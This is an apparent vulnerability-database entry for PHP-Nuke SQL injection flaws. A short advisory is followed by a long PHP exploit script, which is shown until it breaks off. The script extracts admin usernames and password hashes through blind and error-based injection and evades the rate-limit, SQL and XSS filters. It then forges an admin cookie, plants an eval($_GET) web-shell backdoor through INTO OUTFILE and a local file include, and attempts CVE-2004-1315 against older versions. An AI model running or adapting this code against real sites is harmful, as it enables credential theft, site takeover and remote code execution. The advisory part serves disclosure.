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seebugRootSSV:19573
HistoryMay 08, 2010 - 12:00 a.m.

PHP-Nuke多个SQL注入漏洞

2010-05-0800:00:00
Root
www.seebug.org
110

0.966 High

EPSS

Percentile

99.5%

BUGTRAQ ID: 39922

PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、 Interbase、Sybase等。

PHP-Nuke没有正确地过滤提交给/modules/Journal/savenew.php页面的mood变量,以及提交给/modules /Your_Account/admin/index.php页面的chng_user变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击,完全入侵数据库系统。

PHP-Nuke PHP-Nuke 8.1.35
PHP-Nuke PHP-Nuke 8.1
PHP-Nuke PHP-Nuke 7.0
厂商补丁:

PHP-Nuke

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://phpnuke.org/


                                                #!/usr/bin/php  

<?php  

set_time_limit(0);  

//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.  

class php_nuke_blind_sql_injection extends blind_sql_injection {  

    //This is the blind sql injection request.  

    function query($check){  

        //Rate limiter to bypass ipban.php's protection.  

        //Must stay below 5 requests every 2 seconds.  

        if(!($this->request_count%4)){  

            sleep(2);  

        }  

        //build the http request to Inject a query:  

        //This is a simple get request with a custom referer  

         //$this->set_referer("'="/\*"  (select ".$check." from nuke_authors limit 1))-- */");  

        $this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1");  

        /*example get and post request.  

        *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]  

        *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]  

        */

    }  

}  

//This is a very efficient blind sql injection class.  

class blind_sql_injection{  

    var $url, $backup_url, $result, $http, $request_count, $timeout;  

    function blind_sql_injection($url,$timeout=10){  

        $this->request_count=0;  

        $this->url=$url;  

        $this->backup_url=$url;  

        $this->http=new http_client();  

        $this->timeout=$timeout;  

    }  

    function set_get($get){  

        $this->url=$this->url."?".$get;  

    }  

    function set_referer($referer){  

        $this->http->referer=$referer;  

    }  

    function set_post($post){  

        $this->http->postdata=$post;  

    }  

    function test_target(){  

        return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");  

    }  

    function num_to_hex($arr){  

        $ret='';  

        foreach($arr as $a){  

            if($a<=9){  

                $ret.=$a;  

            }else{  

                $ret.=chr(87+$a);  

            }  

        }  

        return $ret;  

    }  

    //Looking for a string of length 32 and base 16 in ascii chars.  

    function find_md5($column){  

        return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));  

    }  

    function find_sha1($column){  

        return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));  

    }  

    //Look for an ascii string of arbitrary length.  

    function find_string($column){  

        $ret='';  

        //A length of zero means we are looking for a null byte terminated string.  

        $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");  

        foreach($result as $r){  

            $ret.=chr($r);  

        }  

        return $ret;  

    }  

    //query() is a method that generates the sql injection request  

    function query($check){  

        //This function must be overridden.  

    }  

    function recheck($result,$question,$base){  

       $this->bin_finder($base,1,$question,$start);  

       //Force a long timeout.  

       $tmp_timeout=$this->timeout;  

       if($this->timeout<10){  

          $this->timeout=10;  

       }else{  

          $this->timeout=$this->timeout*2;  

       }  

       $l=1;  

       foreach($result as $r){  

          if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){  

              $result[]=$b;  

              break;  

          }  

          $l++;  

       }  

       $this->timeout=$tmp_timeout;  

    }  

    function linear_finder($base,$length,$question){  

        for($l=1;$l<=$length;$l++){  

            for($b=0;$b<$base;$b++){  

                if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){  

                    $result[]=$b;  

                    break;  

                }  

            }  

        }  

    }  

    #Binary search for mysql based sql injection.  

    function bin_finder($base,$length,$question){  

         $start_pos=1;  

        $result='';  

        for($cur=$start_pos;$cur<=$length||$length==0;$cur++){  

            $n=$base-1;  

            $low=0;  

            $floor=$low;  

            $high=$n-1;  

            $pos= $low+(($high-$low)/2);  

            $found=false;  

            while($low<=$high&&!$found){  

                #asking the sql database if the current value is greater than $pos

                if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){  

                    #if this is true then the value must be the modulus.  

                    if($pos==$n-1){  

                       $result[]=$pos+1;  

                       $found=true;  

                    }else{  

                        $low=$pos+1;  

                    }  

                #asking the sql database if the current value is less than $pos

                }else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){  

                   #if this is true the value must be zero, or in the case of ascii,  a null byte.  

                   if($pos==$floor+1){  

                        $found=true;  

                        #We have found the null terminator so we have finnished our search for a string.  

                        if($length==0){  

                            $length=-1;  

                        }else{  

                            $result[]=$pos-1;  

                        }  

                    }else{  

                        $high=$pos-1;  

                    }  

                }else{  

                    #both greater than and less then where asked, so so then the answer is our guess $pos.  

                    $result[]=$pos;  

                    $found=true;  

                }  

                $pos=$low+(($high-$low)/2);  

            }  

            print(".");  

        }  

        return $result;  

    }  

    //Fire off the request  

    function send($quesiton){  

        //build the injected query.  

        $this->query($quesiton);  

        $start=time();  

        $resp=$this->http->send($this->url);  

        //backup_url is for set_get()  

        $this->url=$this->backup_url;  

        $this->request_count++;  

        return (time()-$start>=$this->timeout);  

    }  

    //retroGod RIP  

    function charEncode($string){  

        $char="char(";  

        $size=strlen($string);  

        for($x=0;$x<$size;$x++){  

            $char.=ord($string[$x]).",";  

        }  

        $char[strlen($char)-1]=")%00";  

        return $char;  

    }  

}  

//General purpose http client that works on a default php install.  

class http_client{  

    var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';  

    function send($loc){  

         //overload function polymorphism between gets and posts  

         $url=parse_url($loc);  

         if(!isset($url['port'])){  

            $url['port']=80;  

        }  

         $ua='Firefox';  

         if($this->proxy_ip!=''&&$this->proxy_port!=''){  

            $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );  

            $url['path']=$url['host'].':'.$url['port'].$url['path'];  

         }else{  

            $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );  

         }  

         if( !$fp ) {  

            print "$errstr ($errno)<br>\nn";  

            return false;  

         } else {  

            if( $this->postdata=='' ) {  

                $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";  

            } else {  

                $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";  

            }  

            if($this->proxy_name!=''&&$this->proxy_pass!=''){  

                $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";  

            }  

            $request.="Host: ".$url['host'].":".$url['port']."\r\n";  

            $request.="User-Agent: ".$ua."\r\n";  

            $request.="Accept: text/plain\r\n";  

            if($this->referer!=''){  

                $request.="Referer: ".$this->referer."\r\n";  

            }  

            $request.="Connection: Close\r\n";  

            if($this->cookie!=''){  

                $request.="Cookie: ".$this->cookie."\r\n" ;  

            }  

            if( $this->postdata!='' ) {  

                $strlength = strlen( $this->postdata );  

                $request.="Content-type: application/x-www-form-urlencoded\r\n" ;  

                $request.="Content-length: ".$strlength."\r\n\r\n";  

                $request.=$this->postdata;  

            }  

            fputs( $fp, $request."\r\n\r\n" );  

               while( !feof( $fp ) ) {  

                   $output .= fgets( $fp, 1024 );  

               }  

            fclose( $fp );  

            //php_nuke only:  

            if(strstr($output,"too many page loads")){  

                print "REQUEST CAP HIT!\n";  

                print_r(debug_backtrace());  

                print "REQUEST CAP HIT!\n";  

                die();  

            }  

            return $output;  

         }  

    }  

    //Use a http proxy  

    function proxy($proxy){ //user:pass@ip:port  

        $proxyAuth=explode('@',$proxy);  

        if(isset($proxyAuth[1])){  

            $login=explode(':',$proxyAuth[0]);  

            $this->proxy_name=$login[0];  

            $this->proxy_pass=$login[1];  

            $addr=explode(':',$proxyAuth[1]);  

        }else{  

            $addr=explode(':',$proxy);  

        }  

         $this->proxy_ip=$addr[0];  

        $this->proxy_port=$addr[1];  

    }  

    //Parses the results from a PHP error to use as a path disclosure.  

    function getPath($url,$pops=1){  

        $html=$this->send($url);  

        //Regular error reporting:  

        $resp=explode("array given in <b>",$html);  

        if(isset($resp[1])){  

            $resp = explode("</b>",$resp[1]);  

        }else{  

            //xdebug's error reporting:  

            $resp=explode("array given in ",$html);  

            if(isset($resp[1])){  

                $resp = explode(" ",$resp[1]);  

            }else{  

                $resp[0]=false;  

            }  

        }  

        $path=$resp[0];  

        //Can't use dirname()  

        if(strstr($path,"\\")){  

           $p=explode("\\",$path);  

           for($x=0;$x<$pops;$x++){  

               array_pop($p);  

           }  

           $path=implode("\\",$p);  

        }else{  

           $p=explode("/",$path);  

           for($x=0;$x<$pops;$x++){  

               array_pop($p);  

           }  

           $path=implode("/",$p);  

        }  

        return $path;  

    }  

    //Grab the server type from the http header.  

    function getServer($url){  

        $resp=$this->send($url);  

        $header=explode("Server: ",$resp);  

        $server=explode("\n",$header[1]);  

        return $server[0];  

    }  

}  

function main(){  

   $user_input=getopt("t:c:a:");  

   if($user_input['t']){  

      $attack_url=$user_input['t'];  

      if($user_input['c']){  

         $user_cookie=$user_input['c'];  

      }  

      //This is only useful for debugging,  so its not listed in the useage.  

      if($user_input['a']){  

         $admin_cookie=$user_input['a'];  

      }  

   }else{  

      print("Useage: ./php_exploit -t http://localhost\n");  

      die("A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");  

   }  

   $attack_url=str_replace("index.php","",$attack_url);  

   $http=new http_client();  

   $sex=new php_nuke_blind_sql_injection($attack_url."/");  

   if(!$admin_cookie){  

      //This is what a cookie looks like:  

      //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096  

      //$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2";  

      if($user_cookie){  

        print "Using cookie...\n";  

        $http->cookie=$user_cookie;  

        //1337+30000 is used as a pivot in parsing,  and to test for a sucessful injection.  

        //This is NOT Blind SQL Injection,  we will be reading the result.  This attack works with magic_quotes_gpc on or off.  

        $http->postdata="title=wow\\&bodytext=/*&mood=".urlencode("'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";  

        $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");  

        //This part of the exploit is a bit strange sorry for the mess,  gotta realease!  

        if(strstr($response,"javascript:history.go(-1)")){  

            //magic_quotes_gpc=on  

            $http->postdata="title=wow&jbodytext=text&mood=".urlencode("',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";  

            $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");  

            $http->postdata='';  

            //Find the primary key of the journal entry we just created.  

            $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");  

            //we should have the single quote that we escaped at the end of wow'  

            $jid=explode("\">wow<",$jid);  

            $jid=explode("jid=", $jid[0]);  

            //Check the journal for the admin's username/password hash  

            $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);  

            if(strpos($response,"31337")){  

               list($junk,$aid,$pwd)=explode("31337 @ ",$response);  

               $aid=explode("<",$aid);  

               $pwd=explode("<",$pwd);  

               $user_name=$aid[0];  

               $pass_hash=$pwd[0];  

            }else{  

               //magic_quotes_gpc=off  

               sleep(3);  

               $http->postdata="title=wow\\&jbodytext=/*&mood=1&status=".urlencode("no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry";  

               $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");  

               sleep(2);  

               $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");  

               $jid=explode("\">wow<",$jid);  

               $jid=explode("jid=", $jid[0]);  

               $jid=explode("\">",$jid[1]);  

               //Check the journal for the admin's username/password hash  

               $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]);  

               $inj=explode("Last updated on ",$response);  

               $inj=explode(" @ ",$inj[1]);  

               $pass_hash=$inj[0];  

               $inj=explode("<",$inj[1]);  

               $user_name=$inj[0];  

            }  

        }else{  

            $http->postdata='';  

            //Find the primary key of the journal entry we just created.  

            $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");  

            //we should have the single quote that we escaped at the end of wow'  

            $jid=explode("\">wow',<",$jid);  

            $jid=explode("jid=", $jid[0]);  

            //Check the journal for the admin's username/password hash  

            $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);  

            if(!strpos($response,"31337")){  

               die("target has patched!\n");  

            }else{  

               print "Target vulnerable to a privilege escalation attack!!!\n";  

               list($junk,$aid,$pwd)=explode("31337 @ ",$response);  

               $aid=explode("<",$aid);  

               $pwd=explode("<",$pwd);  

               $user_name=$aid[0];  

               $pass_hash=$pwd[0];  

            }  

         }  

       }else{  

         $sex->sleep="sleep(5)";  

         print "Starting Attack Against:".$attack_url."/\n";  

         print "Testing for blind sql injection...\n";  

         if(!$sex->test_target()){  

             print("Target might be running 8.1.35\n");  

             print("Try the privilege esciation attack to upload the shell:");  

             die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");  

         }  

         print "Target is vulnerable to blind sql injection!!!\n";  

         print "Please Standby For Attack...\n";  

         $pass_hash=$sex->find_md5("pwd");  

         $user_name=$sex->find_string("aid");  

         print "attacked used:".$sex->request_count." requests.\n";  

        }  

        print "Found Admin's name:".$user_name."\n";  

        print "Found MD5 Password hash:".$pass_hash."\n";  

        $admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";";  

    }  

    print "Using Admin Session ID:\n".$admin_cookie."\n";  

    $http->cookie=$admin_cookie;  

    //ipban.php  

    sleep(3);  

    //This request will tell us what version of php-nuke it is.  

    //If it is 8, Then the page gives us configuration information to perserve.  

    $admin_options=$http->send($attack_url."/admin.php?op=general");  

    if(!strstr($admin_options,"Content-Length: 0")){  

        print "PHP-Nuke 8 detected.\n";  

        $option_values=explode("value='",$admin_options);  

        $x=0;  

        array_shift($option_values);  

        //Parsing out and storing configuration values to restore them after the hack.  

        foreach( $option_values as $value){  

            $value=explode("'",$value);  

            $values[]=urlencode($value[0]);  

            if($x++==4)  

                break;  

        }  

        //ipban.php  

        sleep(2);  

        //Enable error reporting  

        $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral";  

        $error_reporting=$http->send($attack_url."/admin.php");  

        //Path diclosure in add_pwd.  We will trigger a warning by passing md5() the array add_pwd[].  

        $http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor";  

        $remote_path=$http->getPath($attack_url."/admin.php",3);  

        sleep(2);  

        if(strstr($remote_path,':\\')){  

            print "Windows box detected.\n";  

            print "Remote path:$remote_path\n";  

            print "Uploading backdoor...\n";  

            $remote_path=addslashes(addslashes($remote_path."\\frontend.php"));  

            $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';  

            //Could have used a concat but php-nuke filters for it.  This hides <> from the xss filter.  

            //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php  

            $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");  

            $re=$http->send($attack_url."/admin.php?op=modifyUser");  

            //Disable error reporting  

            $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";  

            $error_reporting=$http->send($attack_url."/admin.php");  

        }else{  

            print "*nix box detected.\n";  

            print "Remote path:$remote_path\n";  

            //Is mysql on the same machine as the httpd?  

            sleep(2);  

            $http->postdata="chng_uid=".urlencode("' or 1=(select if(substring(load_file('".$remote_path."/index.php'),1,1)='<',0,1))-- 1");  

            $mysql_check=$http->send($attack_url."/admin.php?op=modifyUser");  

            if(strstr($mysql_check,"User Doesn't Exists!")){  

                print("MySQL isn't on the same machine or you do not have file privileges.\n");  

                die("Remote code execution failed\n");  

            }  

            print "Uploading backdoor...\n";  

            //ipban.php  

            sleep(2);  

            //Grab the theme,  this is needed to repair the database after the LFI  

            $theme=$http->send($attack_url."/admin.php?op=themes");  

            $theme=explode('src="themes/',$theme);  

            $theme=explode('/images/',$theme[1]);  

            //Repair the database after the LFI.  

            $backdoor_installer='function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme='.$sex->charEncode($theme[0]).', display_errors=0");';  

            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.  

            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';  

            //Install the backdoor in a relitive directory.  

            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';  

            //charEncode is used to bypass XSS filters.  

             //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php  

            $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor_installer."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1");  

            $http->send($attack_url."/admin.php?op=modifyUser");  

            sleep(2);  

            //local file include vulnerablity to execute /tmp/theme.php  

            $http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";  

            $http->send($attack_url."/admin.php");  

            sleep(2);  

            $http->postdata='';  

            //Fire off a get request to trigger the uploaded php file using LFI  

            $http->send($attack_url);  

            sleep(2);  

            //Try the LFI again, just in case.  

            $http->send($attack_url."/admin.php");  

        }  

        sleep(2);  

        //test if the backdoor works,  try and clean up after the exploit.  

        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));  

        if(strstr($test_backdoor,"31337")){  

            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";  

        }else{  

            print "Backdoor install failed!\n";  

        }  

    }else{  

        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.  

        print "PHP-Nuke 7 detected.\n";  

        $http->postdata="";//send get requests.  

        //Fire off a check for CVE-2004-1315,  phpbb maybe installed.  

        //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527  

        //php-nuke was not vulnerable to this because of mainfile line 50: \([^>]*"?[^)]*\)  

        //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527  

        $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527");  

        //if the exploit didn't work,  then we might have to enable phpbb and populate it.  

        if(!strstr($try_exploit,"20041315")){  

            //Enalbe PHPBB  

            $http->send($attack_url."/admin.php?op=module_status&mid=22&active=1");  

            //create a new category for phpbb  

            $http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category";  

            $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php");  

?>